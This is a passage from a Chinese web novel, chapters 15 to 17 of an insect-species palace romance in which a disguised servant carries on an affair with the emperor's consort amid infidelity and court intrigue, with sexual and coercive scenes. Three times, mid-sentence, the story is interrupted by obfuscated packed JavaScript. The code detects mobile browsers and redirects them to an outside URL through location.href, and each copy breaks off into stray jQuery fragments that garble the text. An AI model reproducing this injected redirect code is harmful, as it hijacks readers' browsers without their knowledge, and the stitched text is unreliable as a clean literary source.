眼镜下黑色的眼睫卷翘浓密,遮住了蛊惑人心的黑瞳。 黑色真是男人的黑丝,芬恩都没敢将目光往雌虫身上放,不敢想昨晚这雌虫对他强取豪夺时是什么样。 明明那么端庄、冷静、从容,却对他做那种事。 芬恩放好茶汤起身,这才开口:“有亚雄来报,虫皇大约二十分钟左右议事完毕,会来这边用餐,需要您的陪同。” 泽费里诺的目光从书上移开,透过镜片看向雄虫,见芬恩没有任何异样,他放下手中书籍,松了松领带,故意逗他。 伸手去拉芬恩:“那在虫皇到来之前,让我好好疼疼我的小雄虫?” 芬恩的心又要从胸口跳出来,他礼貌地挣开雌虫的手:“您现在不需要我,就不要逗我了。” 泽费里诺神色微凛,脾气一上来,一把将他拉进怀里,抱住:“一米九的身形,比我都高了,怎么能这么娇呢,小雄虫?” 芬恩:“……” 事实上在皇宫当差的亚雌和亚雄,拟人形没有低于一米八五的,泽费里诺的拟人形一米八八。 宫廷形象很重要,外表一般的虫也进不来。 黑发雌虫轻车熟路地去摸他的尾勾:“还有二十分钟,我觉得对于你而言,时间够用了,这里没其他虫,就我俩,不想我吗?” 芬恩坐在他腿上,真觉得要疯,翅窍被他一只手按着,尾勾也被抓着。 眼神黏在雌虫深邃的眼中移不开:“您这么喜欢当着您丈夫的面偷情吗?” 15. 第 15 章 泽费里诺当然不是喜欢刺激,只是觉得这只小雄虫好逗罢了,尤其是那眼中明晃晃的爱意,每次看到他都会以为是真的。 他从未对哪只雄虫用过精神识海的控制,只觉得这成效超出了他的意料和想象。 也或许是因为没有精神力的雄虫比有精神力的好操控,不管怎么样,芬恩的表现让黑发雌虫很满意。 然而走到这一步,连芬恩自己都不知道是因为对方精神识海的控制还是他源自本心的喜爱,不管作为雄虫还是来自文明时代的人类,他都没有谈过恋爱。 黑发雌虫的眼中并没有什么喜爱,一贯的冷静,自持,更多是对自己精神力强大的欣赏和肯定。 芬恩喉结滚动地很频繁,他有点想亲上去,这雌虫的嘴唇真的很好看,亲起来也很不错。 可惜他深知眼前绝美人形外貌的雌虫并不是他能拥有的,这样被撩下去,只会越陷越深。 泽费里诺真觉得这雄虫乖得可爱:“他算哪门子丈夫,他什么都不是,倒是你啊,不是我的丈夫,却也和我有了夫夫之实?” 芬恩脸颊发烫,他俩距离近得能闻到雌虫身上淡淡的香,泽费里诺一向都这么吸引虫。 下一秒他俩就能亲上,可当他没察觉到雌虫眼中的喜爱全是逗弄之后,眼中的星火慢慢沉寂下去,银白的睫毛低垂,压下阴影,遮住了湖泊蓝眸中的失落。 他的声音依旧温润如玉:“您就别拿我开玩笑了,虫皇要过来用早膳,您该去陪同。” 他试着将泽费里诺的手从制服后衣襟里拿出:“既然您说过互取所需,那就除了您需要信息素的情况之外,别总是跟我独处。” 泽费里诺抱着他不放:“你还开始要求我了?胆子不小。” 芬恩心里有气,又抬起目光望进黑发的雌虫眼底:“虽然我等级低,但到底还有平民虫的权利,帝国法律写的很清楚,尊重每一只虫的权益不是吗?” 泽费里诺神色变了,眼神微冷:“没看出来你还真有骨气,帝国法律也说了,皇权高于一切。” 芬恩:“……” 泽费里诺不逗他了,放开他的翅窍和尾勾:“洛菲斯,虫族的阶级制度很严格,不管是谁,都不会允许你一只低级雄虫和我有婚姻,就算我想给你婚姻,你也吃不消这其中的弯弯道道,不该想的别想。” 芬恩从他腿上起身,恭敬地颔首,语气虽温和,但那骨子里的硬气和疏离也让雌虫心里一怔:“雌君想多了,小的从未想过那种事,也不敢想,只是从小接受过的教育和您的不同,我也并不是很随便的雄虫,父母教导我,和雌性有过孕腔的信息素交流,就得负责,我只是想尽雄虫的义务罢了,既然您不需要,那我以后再也不提。” 也好,把他一点可怜的春心扼杀在摇篮里,也将他的妄想撕碎,他就能看清现实。 他在可笑地奢望什么呢?明知道是不可能的事情,却还试图争取,可争取了有什么用。 芬恩说完便退出了书房,下楼去洗衣服,裤兜里还装着泽费里诺落在浴室的底裤。 米安叫他,他也没理,旁边的亚雌看不惯他那个傲慢的样子,小声咕哝:“洛菲斯最近是越发神气了,连总管您都不理。” 米安让他闭嘴:“以后不准说洛菲斯的坏话,没有他,你们都不知道要遭什么罪,他帮你们扛下了一切。” 没有亚雌敢说话了,都默默地闭嘴,心里也都清楚,这亚雌洛菲斯确实已经成了帝后身边的红虫,以后还是躲着点好。 二十分钟后,塞塔斯来了,做好的料理都已经上了餐桌,虫皇都坐下好一会儿了,泽费里诺才从寝殿出来。 颀长的身影踏进餐厅,压根没把塞塔斯放在眼里,吊儿郎当地坐在虫皇对面,眼神轻佻地将虫皇打量一番:“看来您是没想清楚啊,我还等着离婚呢。” 塞塔斯冷着脸:“离什么婚,我俩闹矛盾,别上升到政治层次,以后我对你多上点心就是了。” 泽费里诺靠在椅子上,双手插兜:“是因为什么呢陛下,如您所见,我现在一无所有,兵权全部上交给您,您在害怕什么?” 塞塔斯也不知道为什么,昨晚他提离婚的时候,会生出一种心痛的感觉:“我并不是害怕什么,而是我觉得,这整个虫族,除了我,没有雄虫配得上你,你该在这个位置。” 芬恩洗完衣服回来,路过喷泉池,在餐厅外就听到这句。 是啊,除了虫皇,谁还能配得上泽费里诺,他该收心。 泽费里诺的声音传来,似笑非笑:“那陛下可真抬举我,我都不知道该怎么感谢您。” 塞塔斯说:“再等一段时间,你想要个孩子,我俩备孕就行。” 泽费里诺神色冷淡:“随便,没那么想要孩子了。” 塞塔斯让他别耍脾气:“我都给你道歉了,你别揪着不放,整个帝国也就你敢这样驳我的面子。” 泽费里诺“嘁”了一声:“那是因为您不在理,您心里很清楚自己做过什么,没底气跟我闹罢了。” 塞塔斯啪地一声放下餐具:“妄议皇族是重罪,以后不可这样口无遮拦,这次我不跟你计较。” 泽费里诺起身要走:“我跑步健身去了,您随意。” 塞塔斯呵斥一声:“坐下!” 泽费里诺:“……” 眼看夫夫要吵起来,米安赶紧上前:“帝后,陛下很少来陪您用餐,您别闹脾气。” 如果没有那么多后顾之忧,泽费里诺肯定分分钟跟这虚伪的雄虫打起来,他忍了忍,又坐了回去:“陛下是最近闲得慌,来我这里无理取闹来了?您现在公务不忙了?” 塞塔斯的神色冷冷静静,看向自己的雌妻:“公务繁忙,可和帝后联络感情也很必要,我不希望你总是误会我。” 泽费里诺只觉得好笑,要不是他亲眼看见,亲耳听见,他肯定会被这演技十足的虫皇玩的团团转。 他倒要看看这雄虫怎么表演深情,跟军雌发生过关系,还想跟他备孕,泽费里诺顺坡下驴:“刚才陛下说的是真的?想跟我备孕了?” 塞塔斯低眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521307|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用餐:“嗯,半年之内。” 泽费里诺好整以暇:“行,那我等陛下的好消息。” 半年,刚好是信息素和精神力解绑需要恢复的时间,他倒想看看这家伙是不是真的想跟他备孕。 当然了,他是不会要二手货的,进过其他雌虫孕腔的脏东西,别妄想弄脏他。 泽费里诺的眼神冷淡,看虫皇的眼神就像在看一个不堪入眼的垃圾。 还是他的小雄虫干干净净,可可爱爱。 他是不能给小雄虫婚姻,等级制度摆在那里,但他可以养小雄虫一辈子啊,至于孩子,等他当了虫皇,要不要都无所谓。 ~ 塞塔斯好像吃错了药,以前从不把雌君放在眼里,这天竟然占用了泽费里诺所有的时间。 泽费里诺的戏还是得演,跟着这虚伪的虫皇忙了一天,从皇宫到军部,再到联邦局,还和军雌艾维尔见了一面。 芬恩从早上和泽费里诺分开之后,就再没见面,他在寝殿也没看到雌君,独自将寝殿收拾干净。 傍晚的时候,天气不太好,好像要虫工降雨,芬恩把雌君的衣服都收回来。 在下雨前泽费里诺被虫皇送回来了,芬恩本想去接他,但看到虫皇送他回来,芬恩便躲了。 泽费里诺进寝殿时,天也黑下来,大雨像断线的珠子落下来,芬恩突然想起来今天他把雌君最喜欢的那几盆花放到后院晒太阳去了。 花比虫娇,都是没见过的昂贵花卉,芬恩冲进大雨去把花盆搬回来。 泽费里诺进门没看到芬恩,问米安,洛菲斯去哪里了。 米安看了一圈:“那会儿还在寝殿里打扫房间,您来了不知道躲哪里去了。” 泽费里诺摆摆手,示意米安可以回去了。 黑发雌虫径直走向芬恩所住的小屋方向,刚踏进走廊,就看到一个身影在尽头的门口放下花盆又朝后院跑去。 泽费里诺去拿了把伞走出城堡,也朝后院走去,只见小雄虫浑身湿透,将他精心养护的名贵花卉护在怀里起身。 雨水顺着雄虫合在背上的透明羽翼往下落,乍一转身,看到不远处撑着伞穿着黑色军装的黑发雌虫。 他下意识往后退了一步,神色错愕,心如擂鼓。 泽费里诺的军靴踩过大理石地板上的积水,朝他走过去,将伞遮在他的头顶:“不知道等雨停了再出来搬?” 芬恩微微低头,不再看他蛊惑虫心的黑眸:“您精心护养的花,淋不得雨。” 不管怎么告诉自己,不去在意,还是无法忽略雌虫的任何行为,一天没见,他好像没有了心一样。 他的心也跟着雌虫走了,精神识海的控制有这么大的威力吗?把他的心也控制了。 疼痛,失落……无所依靠。 还是说……没有精神力的控制,他也会在不知不觉中沦陷。 泽费里诺轻笑一声,高大身影走近他,差不多的身高,在他身侧站定,低沉语气被雨水掩映:“那我要精心养护的小雄虫,就能淋雨了?” 16. 第 16 章 芬恩站在那里,雨水被黑色大伞遮住,顺着伞骨往下落,他把一盆叫不上名字的昂贵花卉用衣襟盖在怀里。 大雨喧嚣,他思念了一整天的雌虫,和他肩挨着肩站着,悦耳的声音并未被雨水盖过,他听得清清楚楚。 挺拔的身姿被军装衬得极其优越,男人的外形反而成就了他卓越的气质。 芬恩徐徐侧首,像电影中的慢镜头,生怕转得太快惊扰了这一刻。 城堡后院的机器虫夜灯亮了起来,照亮他深邃的侧脸轮廓,泽费里诺撑着伞站在雨中,肩膀被雨水湿了一半,雨伞往自己这边倾斜。 也不知是一时的偏爱,还是会持续永远。 芬恩银白的眼睫上沾着雨水,长发也被雨水打湿贴在背上,他眼中春日的雾水一样清寒,缓缓望进雌虫的黑眸,润湿的薄唇动了动,欲言又止。 泽费里诺歪头,唇角含笑:“天黑了,淋感冒了我可照顾不好你。” 芬恩收回视线,将脑海中的一点奢望揉碎:“这就回去了,您别淋湿了。” 说完这句,他走出了伞底,冒着大雨,将最后一盆花搬到他住的走廊里,用干净的棉帕将花朵和叶子上的水分擦拭。 泽费里诺收伞走了进来,军靴踩过走廊,轻微作响:“没那么娇贵,稍微淋点雨没什么事,我要洗澡,洛菲斯,今天想泡澡。” 芬恩起身,衣服也来不及换,先去浴室给雌君备水,水温控制在37度左右,放满浴池,他才从浴室走出来,又去找睡衣。 米安来问雌君是否用膳,就见芬恩拿着雌君的衣服进了浴室,刚想问什么,浴室的门啪地一声被关上。 米安被吓了一跳,往里走了几步,隔着一段距离询问:“帝后,您还用晚膳吗?” 泽费里诺在浴池里,掀起眼皮看了一眼在给水中倒保养液的芬恩,伸手一把将芬恩拉了进去,浴池里溅起水花。 芬恩瞪大眼睛看着他,泽费里诺气定神闲地解他的衣扣,还不忘回复米安:“不用了,和虫皇在外面吃过了,你不用在殿外侍奉,回去吧,有洛菲斯就行。” 芬恩抓住他的手,不让他脱:“您别欺负我了,要是被发现,您和我都好不到哪里去。” 泽费里诺唇角一挑,看着雄虫闪躲的眼睛:“怎么会被发现呢,就是想让你抱抱我。” 只有泽费里诺能看到芬恩的尾勾,可芬恩不从,死活要出浴池。 泽费里诺不肯让他走:“让你抱抱我委屈你了?你这小雄虫真有意思,怎么老想着拒绝我呢?” 芬恩感觉无奈:“我不拒绝您还能怎么做?我没本事娶您,没办法跟您结婚,自然也不该对您有想法,我也逃不过您的手掌心,只能当一只本分的抚慰雄虫。” 泽费里诺盯着他闪躲的眼睛看:“你不觉得以下犯上很刺激吗?睡了虫皇的雌妻,全宇宙就你有这本事,不觉得自己很厉害?” 芬恩:“……” 泽费里诺把他的尾勾放出来欣赏,长达一米、宛如小孩手臂的虫勾,颜色深红。 最上头是尖的,把最能抚慰雌虫的部分裹在内,使用的时候会像花瓣一样散开。 那天晚上太黑暗,他也没看清楚这小雄虫的尾勾到底什么样,如今抓在手中才知自己作为雌虫有多强。 芬恩脸红透,试图把尾勾拿回来:“这有什么好看的。” 泽费里诺修长的手指触到尖上,剥开一层花瓣:“那天晚上,你就是用这么恐怖的东西,在我的孕腔里搅了个天翻地覆。” 芬恩感觉要窒息:“是您主动要的,我拒绝过了。” 泽费里诺让他躺怀里,才能尽兴地把玩:“你很不愿意跟我,能跟我说说为什么?整个虫族帝国,我只要勾勾手指,就有无数高低等级的雄虫向我奔来,可你却像被我侮辱了一样?” 芬恩枕在他肩上,看着他玩着自己的尾勾,呼吸上不来:“我早跟您说了,我希望做那种事是因为彼此相爱,您不曾爱我,却总是这样欺负我,如果换成您是我,您会怎么想?” 泽费里诺口无遮拦:“我会很开心,会全心全意侍奉,毕竟荣华富贵一辈子,比什么都值得。” 芬恩摇头:“您不懂感情,不懂爱,这世上并不是所有的虫都贪图富贵。” 泽费里诺把玩他尾勾的动作停顿:“是因为你家从商,你不缺钱,所以才觉得钱没用?” 芬恩抬眼看他,先看到的是他白皙脖颈上黑色的抑制环,随后是喉结和锋利的下颌线:“并不是,在我眼里,自由更可贵一点。” 泽费里诺的心脏一窒:“说来说去,你就是不愿意留在我身边是不是?可是小东西,你的去留不由你,你注定要和我捆绑在一起。” 芬恩伸手触摸他的脸颊:“您迟早有厌倦的一天,就像虫皇对您一样。” 泽费里诺摇头:“我不是塞塔斯那个黑心肝的雄虫,只要你听话,在我身边,我养你一辈子都行。” 芬恩心中涩痛不已:“养我一辈子干什么,我还想出去看看宇宙世界,等您不再需要我的那时,我希望您能放我离开。” 泽费里诺低头亲他的鬓角:“你看起来很听话,其实你脾气真的很犟。” 芬恩没回答,或许是他心中知道结果,所以才强迫自己看开,陷在这段莫须有的感情里,只会让他这辈子都痛苦。 泽费里诺就算和虫皇离婚,也会找个门当户对的雄虫当二婚丈夫,到时候他的处境更尴尬。 没有身份,没有理由,更没有勇气,不如就潇洒地离去,给自己一点体面。 窗外暴雨如雷,时不时轰鸣阵阵,温热的水氤氲困意,他在泽费里诺怀中犯困,真想一辈子都待在黑发雌虫的怀抱中不醒来。 芬恩借着机会,转个身拥抱了泽费里诺:“天冷,您快些洗。” 泽费里诺的唇挨着他的耳朵:“你的衣服都这样了,还穿在身上。” 伸手摸到了雄虫的翅膀,泽费里诺的手指坏心眼地掠过翅膀上的骨骼和脉络,惊得芬恩透明羽翼忍不住颤抖。 原本合着的羽翼,慢慢地散开,方便雌虫摸索。 身体比他的心更诚实,更渴望雌虫的触碰。 感觉再这样下去,他得把泽费里诺摁在浴池里要了,芬恩从他怀里起来,不肯让雌虫上下其手。 快速爬出浴池,也顾不得什么了,说了一声“去换衣服”就逃出了浴室,赶紧回房洗了个澡,换身衣服。 他总是轻易被雌虫撩出火来,芬恩看着镜子里的拟人雄虫,久久没有回神。 之后他再没去见泽费里诺,独自躲在小房间里,捂着被子,平复自己被雌虫撩出来的火气。 泽费里诺也没找他,相安无事,直到第二天。 一大早米安就收到了亚雄侍从送来的邀请函,是某个旁系亲王邀请泽费里诺和虫皇参加儿子的婚宴舞会,虫皇让泽费里诺准备一下,过会儿一起去。 有虫皇的地方,定然不会带芬恩,芬恩都做好了独自守家的准备,这次肯定又是米安陪他去。 可雌君看完邀请函后,却看向芬恩:“准备一下,过会儿跟我一起去。” 芬恩以为听错了:“我吗?” 米安的神色变得难言:“帝后,洛菲斯不适合那样的场面。” 泽费里诺神色自若:“你俩一起去。” 米安变脸比翻书快,立马笑开:“好的,我肯定带好洛菲斯。” 帝国时间9点半左右,虫皇议事完毕,泽费里诺也用完简单的早膳,带了两只亚雌侍从,从寝宫出来。 塞塔斯又见到那只银发的亚雌侍从,但一转眼,发现不知道什么时候,泽费里诺的寝宫里,亚雌多数都是银发,蓝瞳,且个头都一般高,这是从全帝国新招的亚雌侍从。 塞塔斯在想,是否是他想多了,泽费里诺其实一直爱他,只是没表现出来? 他要求和艾维尔的信息素、精神力解绑,艾维尔不愿意,塞塔斯便强行要求解绑,他告诉军雌艾维尔:“泽费里诺已经怀疑我俩,我不能让他看出破绽,我得给他一个孩子。” 艾维尔看着他落泪:“那我呢陛下,您也答应给我一个孩子,可您到现在都不给我。” 塞塔斯心里明镜儿似的:“我有雌妻,你生我的孩子,那像什么话?名不正言不顺,会出事的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521308|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >艾维尔表示:“只要我和您都不说,谁知道我怀您的孩子,要和我解绑可以,您必须给我一个孩子。” 塞塔斯无奈,两边都不好得罪,便决定给艾维尔一个孩子,但不能让其他虫知道孩子的亲生父亲。 其实塞塔斯是怀疑自己厌恶泽费里诺是艾维尔精神力的控制造成的,毕竟在没和艾维尔发生关系前,他确实喜欢泽费里诺。 只是莫名其妙和艾维尔睡了,被信息素和精神力独占,才会越来越讨厌泽费里诺。 他怀疑自己本心爱的是泽费里诺。 只有解绑之后他才能发现自己的本心,如果真是那样,艾维尔的孩子也活不了。 泽费里诺早就把这位虫皇陛下看透了,五座的磁悬浮飞船落在寝宫门口,塞塔斯带着亚雄护卫长充当司机,泽费里诺带了两只亚雌侍从。 芬恩也是第一次坐这种高科技交通工具,谁也没有说话,系好安全带之后,飞船平稳出发,飞上高空。 他抓紧把手,眼前是泽费里诺的黑色长发。 塞塔斯没话找话:“身体好点了没有?” 泽费里诺毫无情绪地嗯一声:“陛下派来的御医很有用,开的药都是最好的。” 塞塔斯又解释道:“那天我真不知道谁给你的果酿里下料,已经在查了。” 黑发雌君也仅有一句:“您有心了。” 到达亲王的庄园时,园内已经虫来虫往,都是高级拟人虫,只有虫皇和帝后带的亚雌亚雄特殊,没有完全拟人。 泽费里诺让米安带好洛菲斯,尽情玩闹,他和虫皇要应付一群高级虫,估计要一直忙。 大家不认识芬恩,但都认识米安,也就不敢对芬恩怎么样,米安给他介绍在场的高级虫。 其实芬恩没有心思听,他一直在寻找泽费里诺的身影。 米安发现了,叫他把心收回来:“虫皇和帝后肯定要见很多管理层,不用你担心,我俩就是来玩的。” 芬恩点头,跟在米安后面,去找吃的。 庄园内很热闹,大家都在谈笑风生,芬恩喝了点东西,吃了点料理,就独自去观赏庄园里的花卉。 他突然想起来,泽费里诺的花还放在走廊里,他今天走得匆忙,没来得及搬出去。 他透明的翅膀合在背上,精致端庄的亚雌制服彰显他的身份,他和米安作为庄园里唯二的亚雌,别的虫一看穿的精致宫廷制服就知道是虫皇和帝后带来的,并且深受二位虫主的喜爱。 米安和大家熟悉,正和一群高级虫攀谈,芬恩不善言辞,也不喜欢说话,就独自赏花。 庄园里开满了各色的花卉,叫不上名字,有几只拟女性的雌虫路过芬恩,都驻足惊讶。 “好漂亮的长发,好挺拔的身材,雄虫?翅膀没蜕化?” “不是,那是帝后带来的亚雌,估计身份不一般。” “哦哦,听说这位帝后出了名的暴脾气,不好伺候,还是别招惹。” 芬恩听到了,他从花丛里站起身来,侧头朝那几只雌虫望过去,声音温润,却显坚定。 “他很好。” 几只漂亮女人外形的雌虫先是被好听的声音吸引,其次才看到他的全貌,都倒吸一口凉气,捂住了嘴惊讶。 “哦,神啊,他的长相是很标准的雄虫样式。” 有雌虫心痒难耐,鼓足勇气想上去要他的终端联系方式。 刚提着裙摆走了两步,就听到有声音唤他。 “洛菲斯。” 大家齐齐仰头,只见帝国那位脾气不太好的雌君,正在庄园的楼顶朝芬恩勾手。 轮廓隐在暗光里,黑色长发飞扬。 芬恩看了一眼,走出花丛,朝几位“美人”礼貌颔首道别,去找泽费里诺。 城堡内依旧热闹非凡,芬恩坐上悬浮电梯直达楼顶。 泽费里诺正懒洋洋地坐在休息椅上,长腿交叠。 芬恩走过去,稳住自己的心跳:“您找我?” 泽费里诺抬眼,神态懒散,语气却揶揄:“看到几只雌虫就走不动道了?怎么,我一个喂不饱你?你今晚最好能让我满意,我有点生气。” 17. 第 17 章 芬恩有点理解他为什么生气,或许在潜移默化中,这位高贵的雌虫早已把自己当成了他的所有物,不允许自己和任何异性说话。 然而他并非要和那几只漂亮的雌虫搭话,只是听见了她们评论泽费里诺,这才没忍住辩解了一句。 可他的辩解并没有什么用,那几只雌虫的重点在他这只外形像雄虫的亚雌身上,压根没听见他说什么。 芬恩是个识相的,他很清楚自己现在依附谁,既然泽费里诺生气,他自然要哄。 他愿意哄着泽费里诺,秉持地球文明时代的好男人作风,老婆生气了当然要哄。 泽费里诺不把他当老公,但他已然把这雌虫当成了老婆。 想想有点违和,这位尊贵的雌君还有丈夫,他却已在心中将自己定位成雌君的第二任丈夫。 不过没关系,只有他自己知道。 芬恩蹲下给他倒了一点昂贵的酒水,递到雌君嘴边:“没有和她们说话,只是听见她们对您有几分偏见,我才多嘴说了一句。” 泽费里诺黑眸低垂看着他,见他眼神依旧爱意流淌,雌虫得意地挑起唇角,抬起身子微微弯腰,凑到雄虫面前:“你喂我喝。” 芬恩只得将酒杯再往他唇边递,但泽费里诺不张嘴,他又躺回去,好整以暇:“用嘴。” 芬恩:“……” 庄园内热闹非凡,虫皇随时都会来找他,他却让自己带来的亚雌侍从用嘴喂他喝酒。 芬恩这次真不能跟他胡闹了,将酒杯放回小桌上,起身规矩地站定:“您不要这样为难一只亚雌侍从。” 泽费里诺的手拍了休息椅的扶手:“是我太宠着你是不是?你总是违背我的意愿。” 芬恩恭敬地站在他身旁:“这里不适合做亲密的举动,我希望您能冷静点,回去后任您处置。” 泽费里诺就是没来由地生气,抬起脚,黑色皮鞋蹭到雄虫的腿内侧:“回去后任我处置?那你可别后悔。” 芬恩被他蹭到了腰上的尾勾,倒吸一口凉气:“您开心就好。” 很多时候,他俩之间的亲密行为都是由泽费里诺引导,作为一只亚雌侍从,他是不敢对这位雌君做什么。 唯一一次,是前几天雌君被陷害,不得不被他标记孕腔,也是被勾引狠了,他才主导了一次欢好,也仅有那一次。 但已然让他一辈子都无法忘怀,雄虫和雌虫的第一次合尾,不是因为爱情,也不是因为婚姻,是被大佬强取。 估计也是从那时候开始,泽费里诺在他心里的位置不一样了,从高高在上的雌君,成了他的心头月光。 可月光总是可望不可即,况且这个星际世界,月亮本身不存在。 银河系早已消亡不知多久。 那他所依托的爱,也不存在。 雌君心情本来就不好,给芬恩记了一笔账,晚上回去算。 过了会儿,米安带着艾维尔军雌上来寻找帝后,他正闭目养神,享受雄虫的照料。 不速之客的到来让泽费里诺不爽,他甚至都没正眼看艾维尔,示意芬恩给他喝口茶。 芬恩躬着身子把温热的茶水递到他嘴边,他就着喝了一口,才坐起身。 艾维尔军雌摘了军帽朝他颔首行礼:“雌君阁下。” 泽费里诺黑眸冷淡:“有事就说,我没那么多时间。” 艾维尔看似礼貌,实则眼里全是挑衅:“有些话可能不适合当着亚雌侍从的面说。” 泽费里诺冷笑一声:“这有什么,我倒想听听,军雌阁下有什么事不能让虫听了去的。” 情敌对冲,芬恩觉得自己和米安还是避嫌,一抬眼,发现米安也在看他。 米安很懂事:“我和洛菲斯下去走走,帝后。” 泽费里诺让他俩留下:“我看该走的是艾维尔阁下。” 艾维尔表情依旧体面:“您何必这样挑衅我,其实我只是来跟您说一声,我有了虫皇陛下的孩子。” 一句话,给在场的虫都整沉默了,泽费里诺眼神微怔,随后芬恩就看见一个身影极快地出现在了军雌面前。 下一秒,啪地一声! 一个结实的巴掌落在了军雌艾维尔的脸上,他甚至不敢还手。 泽费里诺晃了晃自己的手腕:“感谢阁下把虫皇出轨的证据甩在我面前,咱们联邦军事法庭见。” 艾维尔并不怕:“和虫皇结婚两年肚子都没有动静,整个帝国都在传,您和虫皇感情破裂,我上位是迟早的事,您何必这样难看,不如和虫皇离婚,不离也行,您当侧妻,我当帝后。” 泽费里诺眼神笃定地看着他:“虫皇不会和我离婚,也不会扶你上位,因为在他眼里,只有我配得上他,你我都是棋子,何故来挑衅?” 艾维尔摇头:“我和他真心相爱。” 泽费里诺也不甘示弱:“我一日不和他离婚,你就永远没有机会,我也很爱他。” 说罢,那位尊贵的虫皇幽灵一样出现了,挺拔身姿,冷脸走向两只高贵的雌虫。 芬恩和米安都被吓了一跳。 但很明显,他站在泽费里诺这边,雌君刚才说的话,他很满意。 事到如今,虫皇也不得不坦白自己和艾维尔的行径。 只是他的眼神一直盯着米安和芬恩,眼里杀气渐露。 米安赶紧跪地求饶:“小的什么都没听见。” 芬恩也迅速跪下,重复了一遍米安的话,头皮发麻。 这皇家的丑闻,怎么被他撞在现场了。 塞塔斯的眼神这才收回,看向艾维尔:“我一直以为你是个聪明的军雌,可没想到会蠢成这样,你肚子里的孩子也不用留了,我的雌君只有泽费里诺。” 结婚之前,他选择泽费里诺,现在依然,艾维尔感觉自己被利用地彻彻底底。 泽费里诺对这虫皇也没什么情谊了,但戏还是得演,他一把揪住塞塔斯的衣领,咬牙切齿:“出轨还不处理好你的小三,让他跑来挑衅我,陛下,咱们这婚姻也是到头了,我也不起诉你俩,既然陛下这么厚爱艾维尔军雌,这个位置我让给他。” 塞塔斯抓住他的手,看着他愤怒的眸色:“我说过,除了你,没有任何雌虫配得上这个位置,我可以将他纳为侧妻。” 是的,帝国法律对皇权十分宽容,虫皇可以拥有多个雌虫侍奉当妻,但帝后正妻只有一个,塞塔斯之所以藏着艾维尔,是因为在婚前跟加西亚家族保证过,婚后只有泽费里诺一只雌虫当妻。 这也是以泽费里诺的政途为代价才获得的专一婚姻,可如今还是打破了。 因为雄少雌多,所以平民雄虫也可以拥有多妻侍奉一夫,这也是为了提高生育率,增加雄虫的数量。 泽费里诺早就不在乎这个破位置了,可塞塔斯真的太不把他当回事。 愤怒的黑发雌虫一脚踹翻了休息桌和长椅,指着虫皇和军雌警告:“不想跟我离婚,可以,我希望这位军雌能洗去孕腔属于虫皇的标记,打掉那个孩子,如果做不到,那我和虫皇陛下就没有未来可言了,我会让我的父亲,雌父,亲哥,向联邦举证虫皇和军雌出轨的证据,毕竟您婚前有协议,我在位时,不得有侧妻出现,我有权结束这段婚姻。” 泽费里诺看起来气急败坏,真像那么回事,再没有留恋直接下了顶楼,米安和芬恩赶紧跟上。 泽费里诺走了,塞塔斯才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521309|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠狠地又扇了艾维尔一巴掌:“坏我大事的蠢货,你就那么心急?你以为泽费里诺像你一样蠢吗?好了,现在也不用我强调了,自己去洗标记。” 虫皇说完就跟上了帝后的脚步,艾维尔捂着脸站在原地,眼泪和恨意同时从眼眶溢出。 ~ 怕在亲王的庄园闹的太难看,虫皇和帝后提前走了,婚礼还未开始,大家都不知道怎么了。 回到皇宫之后这对夫夫才真正闹起来,亚雌侍从不敢靠近,芬恩也没敢去。 泽费里诺在砸东西,塞塔斯在哄,哄不好又开始吵,米安擦了擦额头的冷汗。 芬恩只担心泽费里诺,终于还是忍不住问米安:“帝后不会有事吧?” 米安看他一眼:“你倒是对帝后上心,放心吧,虫皇不敢把他怎么样,打不过的。” 芬恩:“……”得亏打不过,不然这帝国的雌君不知道要遭受什么苦难。 还好泽费里诺够强,虫皇不敢把他怎么样。 夫夫俩吵了很久,虫皇破天荒在帝后寝宫哄了一天,下午的时候,有紧急公务要处理,虫皇才不得不离开。 芬恩很担心泽费里诺,第一个进去关怀,结果他的帝后没事人一样,坐在沙发上刷着终端。 米安也进来了,上前慰问,泽费里诺放下终端,一副被气到的样子:“我那么爱他,他却这样对我。” 米安心里挺怕的:“我和洛菲斯都目睹了,帝后,万一虫皇……” 泽费里诺瞄了一眼芬恩,故意吓唬:“以他那种雄虫的性格,你俩都得死。” 米安被吓得啪地一声跪了下去:“帝后救命!” 芬恩站在那里没动,泽费里诺一双美眸狡黠:“洛菲斯,你不怕吗?” 芬恩静静地看着他:“怕。” 泽费里诺反问:“怕还不求我?” 芬恩这才跪下:“求您救命。” 泽费里诺满意了:“放心吧,你俩的命在我这儿,他没资格拿。” 米安被吓得冷汗岑岑:“帝后您真是喜欢拿我们的命开玩笑。” 泽费里诺略显疲惫:“守口如瓶就行了,皇家的丑闻不可外传,好了,我累了,我要休息。” 